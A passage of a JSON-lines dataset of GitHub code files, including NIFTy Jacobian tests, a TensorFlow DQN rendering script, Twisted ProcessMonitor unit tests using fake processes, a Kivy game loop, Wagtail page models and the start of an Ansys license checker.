ift.ScalingOperator(1., model.domain)\n pos = S.draw_sample()\n ift.extra.check_jacobian_consistency(model, pos, ntries=20)\n\n model2 = ift.CorrelatedField(space, model)\n S = ift.ScalingOperator(1., model2.domain)\n pos = S.draw_sample()\n ift.extra.check_jacobian_consistency(model2, pos, ntries=20)\n\n domtup = ift.DomainTuple.make((space, space))\n model3 = ift.MfCorrelatedField(domtup, [model, model])\n S = ift.ScalingOperator(1., model3.domain)\n pos = S.draw_sample()\n ift.extra.check_jacobian_consistency(model3, pos, ntries=20)\n\n\ndef testPointModel(space, seed):\n S = ift.ScalingOperator(1., space)\n pos = S.draw_sample()\n alpha = 1.5\n q = 0.73\n model = ift.InverseGammaOperator(space, alpha, q)\n # FIXME All those cdfs and ppfs are not very accurate\n ift.extra.check_jacobian_consistency(model, pos, tol=1e-2, ntries=20)\n\n\n@pmp('target', [\n ift.RGSpace(64, distances=.789, harmonic=True),\n ift.RGSpace([32, 32], distances=.789, harmonic=True),\n ift.RGSpace([32, 32, 8], distances=.789, harmonic=True)\n])\n@pmp('causal', [True, False])\n@pmp('minimum_phase', [True, False])\n@pmp('seed', [4, 78, 23])\ndef testDynamicModel(target, causal, minimum_phase, seed):\n dct = {\n 'target': target,\n 'harmonic_padding': None,\n 'sm_s0': 3.,\n 'sm_x0': 1.,\n 'key': 'f',\n 'causal': causal,\n 'minimum_phase': minimum_phase\n }\n model, _ = ift.dynamic_operator(**dct)\n S = ift.ScalingOperator(1., model.domain)\n pos = S.draw_sample()\n # FIXME I dont know why smaller tol fails for 3D example\n ift.extra.check_jacobian_consistency(model, pos, tol=1e-5, ntries=20)\n if len(target.shape) > 1:\n dct = {\n 'target': target,\n 'harmonic_padding': None,\n 'sm_s0': 3.,\n 'sm_x0': 1.,\n 'key': 'f',\n 'lightcone_key': 'c',\n 'sigc': 1.,\n 'quant': 5,\n 'causal': causal,\n 'minimum_phase': minimum_phase\n }\n dct['lightcone_key'] = 'c'\n dct['sigc'] = 1.\n dct['quant'] = 5\n model, _ = ift.dynamic_lightcone_operator(**dct)\n S = ift.ScalingOperator(1., model.domain)\n pos = S.draw_sample()\n # FIXME I dont know why smaller tol fails for 3D example\n ift.extra.check_jacobian_consistency(\n model, pos, tol=1e-5, ntries=20)\n","repo_name":"kernsuite-debian/nifty","sub_path":"test/test_operators/test_jacobian.py","file_name":"test_jacobian.py","file_ext":"py","file_size_in_byte":5688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35017581285","text":"from itertools import accumulate\nfrom functools import reduce\nfrom operator import concat\n\n# accumulate = lazily evaluated reduce ?\n\nfoo = range(1, 5)\n\nmul = lambda x,y:x*y\n\nprint(list(accumulate(foo, mul)))\n\nprint(reduce(mul, foo))\n\n# no\n\n# can reduce even be lazily evaluated,\ndef lazyReduce(iter, func):\n result = None\n for x in iter:\n result = func(result, x)\n yield result # doesn't make sense\n\n\n# convert 3x3 matrix to flat arr\n\nmatr = [[1,2,3],[4,5,6],[7,8,9]]\n\n# imperative ver:\ndef imp(matr):\n result = []\n for x in matr:\n for y in x:\n result.append(y)\n return result\n\nprint(\"fl: \", reduce(concat, matr))\nprint(\"imp: \", imp(matr))","repo_name":"meleeweapon/hardvard_cs50p_my_files","sub_path":"Misc/accumulateFromIter.py","file_name":"accumulateFromIter.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38365135722","text":"import subprocess\nfrom time import time\nimport numpy as np\nimport tensorflow as tf\n\nfrom util import * \nfrom sim_variable_setup import *\nimport network\n\naction_pool = list(range(0,3))\n\ntf.reset_default_graph()\n\n# This must match the network that was trained\nh_size = 128\nlearning_rate = 1e-4 \ntargetQN = network.Qnetwork(lr=learning_rate, s_size=D, a_size=len(action_pool), h_size=h_size)\nmainQN = network.Qnetwork(lr=learning_rate, s_size=D, a_size=len(action_pool), h_size=h_size)\n\nsaver = tf.train.Saver()\n\n\nwith tf.Session() as sess:\n\tlast_time = 0\n\tpath = \"./dqn\" #The path to save our model to.\n\tprint('Loading Model...')\n\tckpt = tf.train.get_checkpoint_state(path)\n\tsaver.restore(sess,ckpt.model_checkpoint_path)\n\n\tsim.initialize_gui()\n\tprocess = subprocess.Popen(\"../build/sim\")\n\tstep = sim.recieve_state_gui()\n\twhile step.ai_data_input.elapsed_time - last_time < 5:\n\t step = sim.recieve_state_gui()\n\n\tstate = observation_to_input_array(step.ai_data_input)\n\tdone = False\n\ttotal_reward = 0\n\t#The Q-Network\n\twhile True: #If the agent takes longer than max time, end the trial.\n\t action = sess.run(targetQN.predict,feed_dict={targetQN.inputs:[state], targetQN.dropout_ratio:1})\n\t action = action[0]\n\t reward = 0 #sim.action_rewards(action_pool[action])/1000;\n\t print(action_pool[action])\n\t sim.send_command_gui(action_pool[action])\n\t step = sim.recieve_state_gui()\n\t while step.ai_data_input.elapsed_time - last_time < 5 or not step.cmd_done:\n\t reward += step.reward\n\t step = sim.recieve_state_gui()\n\t last_time = step.ai_data_input.elapsed_time\n\t print(\"cmd_done\")\n\n\t state = observation_to_input_array(step.ai_data_input);\n\t \n\t reward += step.reward\n\t total_reward += reward\n\n\t if done == True:\n\t print(\"done\")\n\t break\n\n\tprint(\"killing\")\n\tprocess.kill()\n\tprint(total_reward)\n","repo_name":"AscendNTNU/RL-Planning","sub_path":"DQN/render_model.py","file_name":"render_model.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31298796333","text":"import pickle\n\nfrom twisted.trial import unittest\nfrom twisted.runner.procmon import LoggingProtocol, ProcessMonitor\nfrom twisted.internet.error import (ProcessDone, ProcessTerminated,\n ProcessExitedAlready)\nfrom twisted.internet.task import Clock\nfrom twisted.python.failure import Failure\nfrom twisted.python import log\nfrom twisted.test.proto_helpers import MemoryReactor\n\n\n\nclass DummyProcess(object):\n \"\"\"\n An incomplete and fake L{IProcessTransport} implementation for testing how\n L{ProcessMonitor} behaves when its monitored processes exit.\n\n @ivar _terminationDelay: the delay in seconds after which the DummyProcess\n will appear to exit when it receives a TERM signal\n \"\"\"\n\n pid = 1\n proto = None\n\n _terminationDelay = 1\n\n def __init__(self, reactor, executable, args, environment, path,\n proto, uid=None, gid=None, usePTY=0, childFDs=None):\n\n self.proto = proto\n\n self._reactor = reactor\n self._executable = executable\n self._args = args\n self._environment = environment\n self._path = path\n self._uid = uid\n self._gid = gid\n self._usePTY = usePTY\n self._childFDs = childFDs\n\n\n def signalProcess(self, signalID):\n \"\"\"\n A partial implementation of signalProcess which can only handle TERM and\n KILL signals.\n - When a TERM signal is given, the dummy process will appear to exit\n after L{DummyProcess._terminationDelay} seconds with exit code 0\n - When a KILL signal is given, the dummy process will appear to exit\n immediately with exit code 1.\n\n @param signalID: The signal name or number to be issued to the process.\n @type signalID: C{str}\n \"\"\"\n params = {\n \"TERM\": (self._terminationDelay, 0),\n \"KILL\": (0, 1)\n }\n\n if self.pid is None:\n raise ProcessExitedAlready()\n\n if signalID in params:\n delay, status = params[signalID]\n self._signalHandler = self._reactor.callLater(\n delay, self.processEnded, status)\n\n\n def processEnded(self, status):\n \"\"\"\n Deliver the process ended event to C{self.proto}.\n \"\"\"\n self.pid = None\n statusMap = {\n 0: ProcessDone,\n 1: ProcessTerminated,\n }\n self.proto.processEnded(Failure(statusMap[status](status)))\n\n\n\nclass DummyProcessReactor(MemoryReactor, Clock):\n \"\"\"\n @ivar spawnedProcesses: a list that keeps track of the fake process\n instances built by C{spawnProcess}.\n @type spawnedProcesses: C{list}\n \"\"\"\n def __init__(self):\n MemoryReactor.__init__(self)\n Clock.__init__(self)\n\n self.spawnedProcesses = []\n\n\n def spawnProcess(self, processProtocol, executable, args=(), env={},\n path=None, uid=None, gid=None, usePTY=0,\n childFDs=None):\n \"\"\"\n Fake L{reactor.spawnProcess}, that logs all the process\n arguments and returns a L{DummyProcess}.\n \"\"\"\n\n proc = DummyProcess(self, executable, args, env, path,\n processProtocol, uid, gid, usePTY, childFDs)\n processProtocol.makeConnection(proc)\n self.spawnedProcesses.append(proc)\n return proc\n\n\n\nclass ProcmonTests(unittest.TestCase):\n \"\"\"\n Tests for L{ProcessMonitor}.\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Create an L{ProcessMonitor} wrapped around a fake reactor.\n \"\"\"\n self.reactor = DummyProcessReactor()\n self.pm = ProcessMonitor(reactor=self.reactor)\n self.pm.minRestartDelay = 2\n self.pm.maxRestartDelay = 10\n self.pm.threshold = 10\n\n\n def test_reprLooksGood(self):\n \"\"\"\n Repr includes all details\n \"\"\"\n self.pm.addProcess(\"foo\", [\"arg1\", \"arg2\"],\n uid=1, gid=2, env={})\n representation = repr(self.pm)\n self.assertIn('foo', representation)\n self.assertIn('1', representation)\n self.assertIn('2', representation)\n\n\n def test_simpleReprLooksGood(self):\n \"\"\"\n Repr does not include unneeded details.\n\n Values of attributes that just mean \"inherit from launching\n process\" do not appear in the repr of a process.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"arg1\", \"arg2\"], env={})\n representation = repr(self.pm)\n self.assertNotIn('(', representation)\n self.assertNotIn(')', representation)\n\n\n def test_getStateIncludesProcesses(self):\n \"\"\"\n The list of monitored processes must be included in the pickle state.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"arg1\", \"arg2\"],\n uid=1, gid=2, env={})\n self.assertEqual(self.pm.__getstate__()['processes'],\n {'foo': (['arg1', 'arg2'], 1, 2, {})})\n\n\n def test_getStateExcludesReactor(self):\n \"\"\"\n The private L{ProcessMonitor._reactor} instance variable should not be\n included in the pickle state.\n \"\"\"\n self.assertNotIn('_reactor', self.pm.__getstate__())\n\n\n def test_addProcess(self):\n \"\"\"\n L{ProcessMonitor.addProcess} only starts the named program if\n L{ProcessMonitor.startService} has been called.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"arg1\", \"arg2\"],\n uid=1, gid=2, env={})\n self.assertEqual(self.pm.protocols, {})\n self.assertEqual(self.pm.processes,\n {\"foo\": ([\"arg1\", \"arg2\"], 1, 2, {})})\n self.pm.startService()\n self.reactor.advance(0)\n self.assertEqual(list(self.pm.protocols.keys()), [\"foo\"])\n\n\n def test_addProcessDuplicateKeyError(self):\n \"\"\"\n L{ProcessMonitor.addProcess} raises a C{KeyError} if a process with the\n given name already exists.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"arg1\", \"arg2\"],\n uid=1, gid=2, env={})\n self.assertRaises(KeyError, self.pm.addProcess,\n \"foo\", [\"arg1\", \"arg2\"], uid=1, gid=2, env={})\n\n\n def test_addProcessEnv(self):\n \"\"\"\n L{ProcessMonitor.addProcess} takes an C{env} parameter that is passed to\n L{IReactorProcess.spawnProcess}.\n \"\"\"\n fakeEnv = {\"KEY\": \"value\"}\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"], uid=1, gid=2, env=fakeEnv)\n self.reactor.advance(0)\n self.assertEqual(\n self.reactor.spawnedProcesses[0]._environment, fakeEnv)\n\n\n def test_addProcessCwd(self):\n \"\"\"\n L{ProcessMonitor.addProcess} takes an C{cwd} parameter that is passed\n to L{IReactorProcess.spawnProcess}.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"], cwd='/mnt/lala')\n self.reactor.advance(0)\n self.assertEqual(\n self.reactor.spawnedProcesses[0]._path, '/mnt/lala')\n\n\n def test_removeProcess(self):\n \"\"\"\n L{ProcessMonitor.removeProcess} removes the process from the public\n processes list.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.assertEqual(len(self.pm.processes), 1)\n self.pm.removeProcess(\"foo\")\n self.assertEqual(len(self.pm.processes), 0)\n\n\n def test_removeProcessUnknownKeyError(self):\n \"\"\"\n L{ProcessMonitor.removeProcess} raises a C{KeyError} if the given\n process name isn't recognised.\n \"\"\"\n self.pm.startService()\n self.assertRaises(KeyError, self.pm.removeProcess, \"foo\")\n\n\n def test_startProcess(self):\n \"\"\"\n When a process has been started, an instance of L{LoggingProtocol} will\n be added to the L{ProcessMonitor.protocols} dict and the start time of\n the process will be recorded in the L{ProcessMonitor.timeStarted}\n dictionary.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.pm.startProcess(\"foo\")\n self.assertIsInstance(self.pm.protocols[\"foo\"], LoggingProtocol)\n self.assertIn(\"foo\", self.pm.timeStarted.keys())\n\n\n def test_startProcessAlreadyStarted(self):\n \"\"\"\n L{ProcessMonitor.startProcess} silently returns if the named process is\n already started.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.pm.startProcess(\"foo\")\n self.assertIsNone(self.pm.startProcess(\"foo\"))\n\n\n def test_startProcessUnknownKeyError(self):\n \"\"\"\n L{ProcessMonitor.startProcess} raises a C{KeyError} if the given\n process name isn't recognised.\n \"\"\"\n self.assertRaises(KeyError, self.pm.startProcess, \"foo\")\n\n\n def test_stopProcessNaturalTermination(self):\n \"\"\"\n L{ProcessMonitor.stopProcess} immediately sends a TERM signal to the\n named process.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.assertIn(\"foo\", self.pm.protocols)\n\n # Configure fake process to die 1 second after receiving term signal\n timeToDie = self.pm.protocols[\"foo\"].transport._terminationDelay = 1\n\n # Advance the reactor to just before the short lived process threshold\n # and leave enough time for the process to die\n self.reactor.advance(self.pm.threshold)\n # Then signal the process to stop\n self.pm.stopProcess(\"foo\")\n\n # Advance the reactor just enough to give the process time to die and\n # verify that the process restarts\n self.reactor.advance(timeToDie)\n\n # We expect it to be restarted immediately\n self.assertEqual(self.reactor.seconds(),\n self.pm.timeStarted[\"foo\"])\n\n\n def test_stopProcessForcedKill(self):\n \"\"\"\n L{ProcessMonitor.stopProcess} kills a process which fails to terminate\n naturally within L{ProcessMonitor.killTime} seconds.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.assertIn(\"foo\", self.pm.protocols)\n self.reactor.advance(self.pm.threshold)\n proc = self.pm.protocols[\"foo\"].transport\n # Arrange for the fake process to live longer than the killTime\n proc._terminationDelay = self.pm.killTime + 1\n self.pm.stopProcess(\"foo\")\n # If process doesn't die before the killTime, procmon should\n # terminate it\n self.reactor.advance(self.pm.killTime - 1)\n self.assertEqual(0.0, self.pm.timeStarted[\"foo\"])\n\n self.reactor.advance(1)\n # We expect it to be immediately restarted\n self.assertEqual(self.reactor.seconds(), self.pm.timeStarted[\"foo\"])\n\n\n def test_stopProcessUnknownKeyError(self):\n \"\"\"\n L{ProcessMonitor.stopProcess} raises a C{KeyError} if the given process\n name isn't recognised.\n \"\"\"\n self.assertRaises(KeyError, self.pm.stopProcess, \"foo\")\n\n\n def test_stopProcessAlreadyStopped(self):\n \"\"\"\n L{ProcessMonitor.stopProcess} silently returns if the named process\n is already stopped. eg Process has crashed and a restart has been\n rescheduled, but in the meantime, the service is stopped.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.assertIsNone(self.pm.stopProcess(\"foo\"))\n\n\n def test_outputReceivedCompleteLine(self):\n \"\"\"\n Getting a complete output line generates a log message.\n \"\"\"\n events = []\n self.addCleanup(log.removeObserver, events.append)\n log.addObserver(events.append)\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # Advance the reactor to start the process\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n # Long time passes\n self.reactor.advance(self.pm.threshold)\n # Process greets\n self.pm.protocols[\"foo\"].outReceived(b'hello world!\\n')\n self.assertEquals(len(events), 1)\n message = events[0]['message']\n self.assertEquals(message, tuple([u'[foo] hello world!']))\n\n\n def test_outputReceivedCompleteLineInvalidUTF8(self):\n \"\"\"\n Getting invalid UTF-8 results in the repr of the raw message\n \"\"\"\n events = []\n self.addCleanup(log.removeObserver, events.append)\n log.addObserver(events.append)\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # Advance the reactor to start the process\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n # Long time passes\n self.reactor.advance(self.pm.threshold)\n # Process greets\n self.pm.protocols[\"foo\"].outReceived(b'\\xffhello world!\\n')\n self.assertEquals(len(events), 1)\n messages = events[0]['message']\n self.assertEquals(len(messages), 1)\n message = messages[0]\n tag, output = message.split(' ', 1)\n self.assertEquals(tag, '[foo]')\n self.assertEquals(output, repr(b'\\xffhello world!'))\n\n\n def test_outputReceivedPartialLine(self):\n \"\"\"\n Getting partial line results in no events until process end\n \"\"\"\n events = []\n self.addCleanup(log.removeObserver, events.append)\n log.addObserver(events.append)\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # Advance the reactor to start the process\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n # Long time passes\n self.reactor.advance(self.pm.threshold)\n # Process greets\n self.pm.protocols[\"foo\"].outReceived(b'hello world!')\n self.assertEquals(len(events), 0)\n self.pm.protocols[\"foo\"].processEnded(Failure(ProcessDone(0)))\n self.assertEquals(len(events), 1)\n message = events[0]['message']\n self.assertEquals(message, tuple([u'[foo] hello world!']))\n\n def test_connectionLostLongLivedProcess(self):\n \"\"\"\n L{ProcessMonitor.connectionLost} should immediately restart a process\n if it has been running longer than L{ProcessMonitor.threshold} seconds.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # advance the reactor to start the process\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n # Long time passes\n self.reactor.advance(self.pm.threshold)\n # Process dies after threshold\n self.pm.protocols[\"foo\"].processEnded(Failure(ProcessDone(0)))\n self.assertNotIn(\"foo\", self.pm.protocols)\n # Process should be restarted immediately\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n\n\n def test_connectionLostMurderCancel(self):\n \"\"\"\n L{ProcessMonitor.connectionLost} cancels a scheduled process killer and\n deletes the DelayedCall from the L{ProcessMonitor.murder} list.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # Advance 1s to start the process then ask ProcMon to stop it\n self.reactor.advance(1)\n self.pm.stopProcess(\"foo\")\n # A process killer has been scheduled, delayedCall is active\n self.assertIn(\"foo\", self.pm.murder)\n delayedCall = self.pm.murder[\"foo\"]\n self.assertTrue(delayedCall.active())\n # Advance to the point at which the dummy process exits\n self.reactor.advance(\n self.pm.protocols[\"foo\"].transport._terminationDelay)\n # Now the delayedCall has been cancelled and deleted\n self.assertFalse(delayedCall.active())\n self.assertNotIn(\"foo\", self.pm.murder)\n\n\n def test_connectionLostProtocolDeletion(self):\n \"\"\"\n L{ProcessMonitor.connectionLost} removes the corresponding\n ProcessProtocol instance from the L{ProcessMonitor.protocols} list.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.assertIn(\"foo\", self.pm.protocols)\n self.pm.protocols[\"foo\"].transport.signalProcess(\"KILL\")\n self.reactor.advance(\n self.pm.protocols[\"foo\"].transport._terminationDelay)\n self.assertNotIn(\"foo\", self.pm.protocols)\n\n\n def test_connectionLostMinMaxRestartDelay(self):\n \"\"\"\n L{ProcessMonitor.connectionLost} will wait at least minRestartDelay s\n and at most maxRestartDelay s\n \"\"\"\n self.pm.minRestartDelay = 2\n self.pm.maxRestartDelay = 3\n\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n\n self.assertEqual(self.pm.delay[\"foo\"], self.pm.minRestartDelay)\n self.reactor.advance(self.pm.threshold - 1)\n self.pm.protocols[\"foo\"].processEnded(Failure(ProcessDone(0)))\n self.assertEqual(self.pm.delay[\"foo\"], self.pm.maxRestartDelay)\n\n\n def test_connectionLostBackoffDelayDoubles(self):\n \"\"\"\n L{ProcessMonitor.connectionLost} doubles the restart delay each time\n the process dies too quickly.\n \"\"\"\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.reactor.advance(self.pm.threshold - 1) #9s\n self.assertIn(\"foo\", self.pm.protocols)\n self.assertEqual(self.pm.delay[\"foo\"], self.pm.minRestartDelay)\n # process dies within the threshold and should not restart immediately\n self.pm.protocols[\"foo\"].processEnded(Failure(ProcessDone(0)))\n self.assertEqual(self.pm.delay[\"foo\"], self.pm.minRestartDelay * 2)\n\n\n def test_startService(self):\n \"\"\"\n L{ProcessMonitor.startService} starts all monitored processes.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # advance the reactor to start the process\n self.reactor.advance(0)\n self.assertIn(\"foo\", self.pm.protocols)\n\n\n def test_stopService(self):\n \"\"\"\n L{ProcessMonitor.stopService} should stop all monitored processes.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.pm.addProcess(\"bar\", [\"bar\"])\n # Schedule the process to start\n self.pm.startService()\n # advance the reactor to start the processes\n self.reactor.advance(self.pm.threshold)\n self.assertIn(\"foo\", self.pm.protocols)\n self.assertIn(\"bar\", self.pm.protocols)\n\n self.reactor.advance(1)\n\n self.pm.stopService()\n # Advance to beyond the killTime - all monitored processes\n # should have exited\n self.reactor.advance(self.pm.killTime + 1)\n # The processes shouldn't be restarted\n self.assertEqual({}, self.pm.protocols)\n\n\n def test_restartAllRestartsOneProcess(self):\n \"\"\"\n L{ProcessMonitor.restartAll} succeeds when there is one process.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n self.pm.startService()\n self.reactor.advance(1)\n self.pm.restartAll()\n # Just enough time for the process to die,\n # not enough time to start a new one.\n self.reactor.advance(1)\n processes = list(self.reactor.spawnedProcesses)\n myProcess = processes.pop()\n self.assertEquals(processes, [])\n self.assertIsNone(myProcess.pid)\n\n def test_stopServiceCancelRestarts(self):\n \"\"\"\n L{ProcessMonitor.stopService} should cancel any scheduled process\n restarts.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Schedule the process to start\n self.pm.startService()\n # advance the reactor to start the processes\n self.reactor.advance(self.pm.threshold)\n self.assertIn(\"foo\", self.pm.protocols)\n\n self.reactor.advance(1)\n # Kill the process early\n self.pm.protocols[\"foo\"].processEnded(Failure(ProcessDone(0)))\n self.assertTrue(self.pm.restart['foo'].active())\n self.pm.stopService()\n # Scheduled restart should have been cancelled\n self.assertFalse(self.pm.restart['foo'].active())\n\n\n def test_stopServiceCleanupScheduledRestarts(self):\n \"\"\"\n L{ProcessMonitor.stopService} should cancel all scheduled process\n restarts.\n \"\"\"\n self.pm.threshold = 5\n self.pm.minRestartDelay = 5\n # Start service and add a process (started immediately)\n self.pm.startService()\n self.pm.addProcess(\"foo\", [\"foo\"])\n # Stop the process after 1s\n self.reactor.advance(1)\n self.pm.stopProcess(\"foo\")\n # Wait 1s for it to exit it will be scheduled to restart 5s later\n self.reactor.advance(1)\n # Meanwhile stop the service\n self.pm.stopService()\n # Advance to beyond the process restart time\n self.reactor.advance(6)\n # The process shouldn't have restarted because stopService has cancelled\n # all pending process restarts.\n self.assertEqual(self.pm.protocols, {})\n\n\n\nclass DeprecationTests(unittest.SynchronousTestCase):\n\n \"\"\"\n Tests that check functionality that should be deprecated is deprecated.\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Create reactor and process monitor.\n \"\"\"\n self.reactor = DummyProcessReactor()\n self.pm = ProcessMonitor(reactor=self.reactor)\n\n\n def test_toTuple(self):\n \"\"\"\n _Process.toTuple is deprecated.\n\n When getting the deprecated processes property, the actual\n data (kept in the class _Process) is converted to a tuple --\n which produces a DeprecationWarning per process so converted.\n \"\"\"\n self.pm.addProcess(\"foo\", [\"foo\"])\n myprocesses = self.pm.processes\n self.assertEquals(len(myprocesses), 1)\n warnings = self.flushWarnings()\n foundToTuple = False\n for warning in warnings:\n self.assertIs(warning['category'], DeprecationWarning)\n if 'toTuple' in warning['message']:\n foundToTuple = True\n self.assertTrue(foundToTuple,\n \"no tuple deprecation found:{}\".format(repr(warnings)))\n\n\n def test_processes(self):\n \"\"\"\n Accessing L{ProcessMonitor.processes} results in deprecation warning\n\n Even when there are no processes, and thus no process is converted\n to a tuple, accessing the L{ProcessMonitor.processes} property\n should generate its own DeprecationWarning.\n \"\"\"\n myProcesses = self.pm.processes\n self.assertEquals(myProcesses, {})\n warnings = self.flushWarnings()\n first = warnings.pop(0)\n self.assertIs(first['category'], DeprecationWarning)\n self.assertEquals(warnings, [])\n\n\n def test_getstate(self):\n \"\"\"\n Pickling an L{ProcessMonitor} results in deprecation warnings\n \"\"\"\n pickle.dumps(self.pm)\n warnings = self.flushWarnings()\n for warning in warnings:\n self.assertIs(warning['category'], DeprecationWarning)\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/runner/test/test_procmon.py","file_name":"test_procmon.py","file_ext":"py","file_size_in_byte":23228,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"} +{"seq_id":"73681763281","text":"#!/usr/bin/python\n\nfrom kivy.config import Config\nConfig.set('kivy', 'keyboard_mode', 'system')\n\nimport kivy\nimport math\nkivy.require('1.0.8')\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.core.window import Window\nfrom kivy.clock import Clock\n\nfrom titleWidget import TitleWidget\nfrom playWidget import PlayWidget\n\nfrom keyReport import KeyReport\n\n\nclass Game(Widget):\n def __init__(self, **kwargs):\n super(Game, self).__init__(**kwargs)\n self._keyboard = Window.request_keyboard(self._keyboard_closed, self, 'text')\n self._keyboard.bind(on_key_down=self._on_keyboard_down)\n self._keyboard.bind(on_key_up=self._on_keyboard_up)\n\n self.keyReport = KeyReport()\n\n self.title = TitleWidget()\n self.title.setKeyReport(self.keyReport)\n self.play = PlayWidget()\n self.play.setKeyReport(self.keyReport)\n self.currentWidget = None\n\n\n self.frameNum = 0\n self.currentWidgetStartFrameNum = 0\n\n self.showWidget(self.title)\n\n def showWidget(self, widget):\n if not self.currentWidget == None:\n self.remove_widget(self.currentWidget)\n self.currentWidget.cleanup()\n\n if widget == self.title:\n widget.setLastScore(self.play.score)\n\n self.currentWidget = widget\n self.currentWidget.reset()\n self.currentWidgetStartFrameNum = self.frameNum\n self.add_widget(self.currentWidget)\n\n def showNextWidget(self):\n if self.currentWidget == None:\n self.showWidget(self.title)\n elif self.currentWidget == self.title:\n self.showWidget(self.play)\n elif self.currentWidget == self.play:\n self.showWidget(self.title)\n\n\n\n def _on_keyboard_up(self, keyboard, keycode):\n self.keyReport.keyUp(keycode[0])\n\n def _on_keyboard_down(self, keyboard, keycode, text, modifiers):\n self.keyReport.keyDown(keycode[0])\n\n def _keyboard_closed(self):\n self._keyboard.unbind(on_key_down=self._on_keyboard_down)\n self._keyboard = None\n\n def update(self, dt):\n if self.currentWidget == None:\n return\n\n self.frameNum += 1\n self.currentWidget.update(dt)\n if self.currentWidget.shouldClose:\n self.showNextWidget()\n\nclass MainApp(App):\n def build(self):\n game = Game()\n Clock.schedule_interval(game.update, 1.0 / 60.0)\n return game\n\n\nif __name__ == '__main__':\n MainApp().run()\n\n","repo_name":"adparadise/pmgj6-harvesters","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41999530167","text":"from django.db import models\n\nfrom wagtail.core.models import Page\nfrom wagtail.core.fields import StreamField\nfrom wagtail.core import blocks\nfrom wagtail.admin.edit_handlers import FieldPanel, MultiFieldPanel, StreamFieldPanel\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.images.blocks import ImageChooserBlock\nfrom wagtail.embeds.blocks import EmbedBlock\n\n\nclass HomePage(Page):\n pass\n\nclass RegionPage(Page):\n\n twitter_handle = models.CharField(max_length=200)\n body = StreamField([\n ('heading', blocks.CharBlock(form_classname=\"full title\")),\n ('paragraph', blocks.RichTextBlock()),\n ('image', ImageChooserBlock()),\n ('embed', EmbedBlock())\n ])\n header_image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n # EXAMPLE TWEETS\n # https://twitter.com/UniteWestMids/status/1408412825857445889\n # https://twitter.com/unitetheunion/status/1408408131894333442\n # https://twitter.com/unite_west/status/1408341874830622720\n\n content_panels = Page.content_panels + [\n ImageChooserPanel('header_image'),\n FieldPanel('twitter_handle'),\n StreamFieldPanel('body')\n ]\n\n promote_panels = [\n MultiFieldPanel(Page.promote_panels, \"Common page configuration\"),\n ]\n \n parent_page_types = ['home.Homepage']\n subpage_types = []\n","repo_name":"ivvvve/kestrel","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1578976934","text":"import subprocess\nimport argparse\nimport configparser\n\n\nclass LicenseAnsys(object):\n def __init__(self):\n # -------------init variable-------------------------\n self.config_file = r'..\\config\\config.ini'\n self.server_list = list()\n self.application = str()\n self.license_command = str()\n self.module_dict = dict()\n self.license_dict = dict() # record total number of license and how many left\n self.license_info = str() # record the original license info from cmd\n self.return_value = bool()\n # -------------init function-------------------------\n self.parse_config()\n self.license_info = self.get_license_info()\n self.license_usage_dict(self.module_dict)\n self.arg_parser()\n\n def parse_config(self):\n config = configparser.ConfigParser()\n config.read(self.config_file)\n\n self.server_list = eval(config['License']['server_list'])\n self.application = 